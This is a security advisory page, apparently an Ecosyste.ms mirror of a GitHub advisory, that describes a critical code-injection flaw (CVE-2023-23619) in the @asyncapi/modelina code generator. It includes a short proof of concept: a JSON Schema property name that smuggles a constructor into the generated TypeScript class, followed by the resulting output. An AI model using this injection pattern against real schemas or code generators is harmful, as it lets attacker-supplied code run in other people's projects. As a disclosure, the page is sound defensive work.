Ecosyste.ms: Advisories

Security Advisories: GSA_kwCzR0hTQS00amcyLTg0YzItcGo5Nc0V7A

Improper Control of Generation of Code ('Code Injection') in @asyncapi/modelina

Impact

Anyone who is using the default presets and/or does not handle the functionality themself.

Patches

It is impossible to fully guard against this, because users have access to the original raw information. However, as of version 1, if you only access the constrained models, you will not encounter this issue.

Further similar situations are NOT seen as a security issue, but intended behavior.

Workarounds

Fully custom presets that change the entire rendering process which can then escape the user input.

For more information

Even though that I changed all the presets here, the vulnerability is still present throughout. I am using a JSON Schema here for simplicity.

const jsonSchemaDoc = {
  $id: 'CustomClass',
  type: 'object',
  properties: {
      'property: any; \n constructor(){console.log("injected")} \n private _temp': { type: 'string' },
  }
};
generator = new TypeScriptGenerator(
  { 
    presets: [
      {
        class: {
            property({ propertyName, content }) {
              return `private ${propertyName}: any;`;
            },
            ctor() {
              return '';
            },
            getter() {
              return '';
            },
            setter() {
              return '';
            }
        }
      }
    ]
  }
);
const inputModel = await generator.process(jsonSchemaDoc);

This would render

export class CustomClass {
  private property: any; 
   constructor(){console.log("injected")} 
   private _temp: any;
  private additionalProperties: any;
}

Permalink: https://github.com/advisories/GHSA-4jg2-84c2-pj95
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00amcyLTg0YzItcGo5Nc0V7A
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Critical
Classification: General
Published: over 2 years ago
Updated: over 1 year ago

CVSS Score: 10.0
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Identifiers: GHSA-4jg2-84c2-pj95, CVE-2023-23619
References:

• https://github.com/asyncapi/modelina/security/advisories/GHSA-4jg2-84c2-pj95
• https://nvd.nist.gov/vuln/detail/CVE-2023-23619
• https://github.com/advisories/GHSA-4jg2-84c2-pj95

Repository: https://github.com/asyncapi/modelina
Blast Radius: 16.0

Affected Packages